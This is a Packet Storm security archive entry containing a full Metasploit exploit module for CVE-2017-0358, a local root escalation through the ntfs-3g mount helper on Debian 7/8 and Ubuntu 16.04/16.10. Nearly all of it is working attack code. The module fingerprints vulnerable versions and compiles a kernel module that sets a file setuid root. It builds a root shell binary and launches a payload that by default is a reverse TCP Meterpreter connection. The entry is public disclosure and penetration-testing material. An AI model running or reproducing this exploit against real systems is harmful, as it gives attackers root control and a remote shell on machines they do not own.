Debian/Ubuntu ntfs-3g Local Privilege Escalation

2017-04-04T00:00:00
ID PACKETSTORM:141882
Type packetstorm
Reporter h00die
Modified 2017-04-04T00:00:00

Description

                                        
                                            `##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = GoodRanking  
  
include Msf::Exploit::EXE  
include Msf::Post::File  
include Msf::Exploit::FileDropper  
  
def initialize(info={})  
super( update_info( info, {  
'Name' => 'Debian/Ubuntu ntfs-3g Local Privilege Escalation',  
'Description' => %q{  
ntfs-3g mount helper in Ubuntu 16.04, 16.10, Debian 7, 8, and possibly 9 does not properly sanitize the environment when executing modprobe.  
This can be abused to load a kernel module and execute a binary payload as the root user.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'jannh@google.com', # discovery  
'h00die <mike@shorebreaksecurity.com>' # metasploit module  
],  
'Platform' => [ 'linux' ],  
'Arch' => [ ARCH_X86, ARCH_X64 ],  
'SessionTypes' => [ 'shell', 'meterpreter' ],  
'References' =>  
[  
[ 'CVE', '2017-0358' ],  
[ 'EDB', '41356' ],  
[ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1072' ]  
],  
'Targets' =>  
[  
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],  
[ 'Linux x64', { 'Arch' => ARCH_X64 } ]  
],  
'DefaultOptions' =>  
{  
'payload' => 'linux/x64/mettle/reverse_tcp',  
'PrependFork' => true,  
},  
'DefaultTarget' => 1,  
'DisclosureDate' => 'Jan 05 2017',  
'Privileged' => true  
}  
))  
register_options([  
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])  
], self.class)  
end  
  
def check  
  
# check if linux headers were installed on Debian (not ubuntu). The 'common' headers won't work.  
def headers_installed?()  
output = cmd_exec('dpkg -l | grep \'^ii\' | grep linux-headers.*[^common]{7}')  
if output  
if output.include?('linux-headers')  
return true  
else  
print_error('Linux kernel headers not available, compiling will fail.')  
return false  
end  
end  
false  
end  
  
output = cmd_exec('dpkg -l ntfs-3g | grep \'^ii\'')  
if output  
if output.include?('1:2015.3.14AR.1-1build1') #Ubuntu 16.04 LTS  
print_good('Vulnerable Ubuntu 16.04 detected')  
CheckCode::Appears  
elsif output.include?('1:2016.2.22AR.1-3') #Ubuntu 16.10  
print_good('Vulnerable Ubuntu 16.10 detected')  
CheckCode::Appears  
elsif output.include?('1:2012.1.15AR.5-2.1+deb7u2') #Debian Wheezy, we also need linux-source installed  
print_good('Vulnerable Debian 7 (wheezy) detected')  
if headers_installed?()  
CheckCode::Appears  
else  
CheckCode::Safe  
end  
CheckCode::Appears  
elsif output.include?('1:2014.2.15AR.2-1+deb8u2') #Debian Jessie, we also need linux-source installed  
print_good('Vulnerable Debian 8 (jessie) detected')  
if headers_installed?()  
CheckCode::Appears  
else  
CheckCode::Safe  
end  
CheckCode::Appears  
else  
print_error("Version installed not vulnerable: #{output}")  
CheckCode::Safe  
end  
else  
print_error('ntfs-3g not installed')  
CheckCode::Safe  
end  
end  
  
def exploit  
def upload_and_compile(filename, file_path, file_content, compile=nil)  
rm_f "#{file_path}"  
if not compile.nil?  
rm_f "#{file_path}.c"  
vprint_status("Writing #{filename} to #{file_path}.c")  
write_file("#{file_path}.c", file_content)  
register_file_for_cleanup("#{file_path}.c")  
output = cmd_exec(compile)  
if output != ''  
print_error(output)  
fail_with(Failure::Unknown, "#{filename} at #{file_path}.c failed to compile")  
end  
else  
vprint_status("Writing #{filename} to #{file_path}")  
write_file(file_path, file_content)  
end  
cmd_exec("chmod +x #{file_path}");  
register_file_for_cleanup(file_path)  
end  
  
# These are direct copies of the modules from EDB  
rootmod = %q{  
#include <linux/module.h>  
#include <linux/kernel.h>  
#include <linux/cred.h>  
#include <linux/syscalls.h>  
#include <linux/kallsyms.h>  
  
static int suidfile_fd = -1;  
module_param(suidfile_fd, int, 0);  
  
static int __init init_rootmod(void) {  
int (*sys_fchown_)(int fd, int uid, int gid);  
int (*sys_fchmod_)(int fd, int mode);  
const struct cred *kcred, *oldcred;  
  
sys_fchown_ = (void*)kallsyms_lookup_name("sys_fchown");  
sys_fchmod_ = (void*)kallsyms_lookup_name("sys_fchmod");  
  
printk(KERN_INFO "rootmod loading\n");  
kcred = prepare_kernel_cred(NULL);  
oldcred = override_creds(kcred);  
sys_fchown_(suidfile_fd, 0, 0);  
sys_fchmod_(suidfile_fd, 06755);  
revert_creds(oldcred);  
return -ELOOP; /* fake error because we don't actually want to end up with a loaded module */  
}  
  
static void __exit cleanup_rootmod(void) {}  
  
module_init(init_rootmod);  
module_exit(cleanup_rootmod);  
  
MODULE_LICENSE("GPL v2");  
}  
  
rootshell = %q{  
#include <unistd.h>  
#include <err.h>  
#include <stdio.h>  
#include <sys/types.h>  
  
int main(void) {  
if (setuid(0) || setgid(0))  
err(1, "setuid/setgid");  
fputs("we have root privs now...\n", stderr);  
execl("/bin/bash", "bash", NULL);  
err(1, "execl");  
}  
}  
  
# we moved sploit.c off since it was so big to the external sources folder  
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2017-0358', 'sploit.c')  
fd = ::File.open( path, "rb")  
sploit = fd.read(fd.stat.size)  
fd.close  
  
rootmod_filename = 'rootmod'  
rootmod_path = "#{datastore['WritableDir']}/#{rootmod_filename}"  
rootshell_filename = 'rootshell'  
rootshell_path = "#{datastore['WritableDir']}/#{rootshell_filename}"  
sploit_filename = 'sploit'  
sploit_path = "#{datastore['WritableDir']}/#{sploit_filename}"  
payload_filename = rand_text_alpha(8)  
payload_path = "#{datastore['WritableDir']}/#{payload_filename}"  
  
if check != CheckCode::Appears  
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')  
end  
  
def has_prereqs?()  
def check_gcc?()  
gcc = cmd_exec('which gcc')  
if gcc.include?('gcc')  
vprint_good('gcc is installed')  
return true  
else  
print_error('gcc is not installed. Compiling will fail.')  
return false  
end  
end  
  
def check_make?()  
make = cmd_exec('which make')  
if make.include?('make')  
vprint_good('make is installed')  
return true  
else  
print_error('make is not installed. Compiling will fail.')  
return false  
end  
end  
  
return check_make?() && check_gcc?()  
end  
  
if has_prereqs?()  
vprint_status('Live compiling exploit on system')  
else  
fail_with(Failure::Unknown, 'make and gcc required on system to build exploit for kernel')  
end  
  
# make our substitutions so things are dynamic  
rootshell.gsub!(/execl\("\/bin\/bash", "bash", NULL\);/,  
"return execl(\"#{payload_path}\", \"\", NULL);") #launch our payload, and do it in a return to not freeze the executable  
print_status('Writing files to target')  
cmd_exec("cd #{datastore['WritableDir']}")  
  
#write all the files and compile. This is equivalent to the original compile.sh  
#gcc -o rootshell rootshell.c -Wall  
upload_and_compile('rootshell', rootshell_path, rootshell, "gcc -o #{rootshell_filename} #{rootshell_filename}.c -Wall")  
#gcc -o sploit sploit.c -Wall -std=gnu99  
upload_and_compile('sploit', sploit_path, sploit, "gcc -o #{sploit_filename} #{sploit_filename}.c -Wall -std=gnu99")  
#make -C /lib/modules/$(uname -r)/build M=$(pwd) modules  
upload_and_compile('rootmod', "#{rootmod_path}.c", rootmod, nil)  
upload_and_compile('Makefile', "#{datastore['WritableDir']}/Makefile", 'obj-m := rootmod.o', nil)  
cmd_exec('make -C /lib/modules/$(uname -r)/build M=$(pwd) modules')  
upload_and_compile('payload', payload_path, generate_payload_exe)  
  
#This is equivalent to the 2nd half of the compile.sh file  
cmd_exec('mkdir -p depmod_tmp/lib/modules/$(uname -r)')  
cmd_exec('cp rootmod.ko depmod_tmp/lib/modules/$(uname -r)/')  
cmd_exec('/sbin/depmod -b depmod_tmp/')  
cmd_exec('cp depmod_tmp/lib/modules/$(uname -r)/*.bin .')  
cmd_exec('rm -rf depmod_tmp')  
  
register_file_for_cleanup("#{rootmod_path}.ko")  
register_file_for_cleanup("#{rootmod_path}.mod.c")  
register_file_for_cleanup("#{rootmod_path}.mod.o")  
register_file_for_cleanup("#{rootmod_path}.o")  
  
# and here we go!  
print_status('Starting execution of priv esc.')  
output = cmd_exec(sploit_path)  
unless session_created?  
# this could also be output.include?('we have root privs now...'), however session_created handles some additional cases like elevation happened,  
# but binary payload was caught, or NIPS shut down the callback etc.  
vprint_error(output)  
end  
end  
  
def on_new_session(session)  
# if we don't /bin/bash here, our payload times out  
# [*] Meterpreter session 2 opened (192.168.199.131:4444 -> 192.168.199.130:37022) at 2016-09-27 14:15:04 -0400  
# [*] 192.168.199.130 - Meterpreter session 2 closed. Reason: Died  
session.shell_command_token('/bin/bash')  
super  
end  
end  
`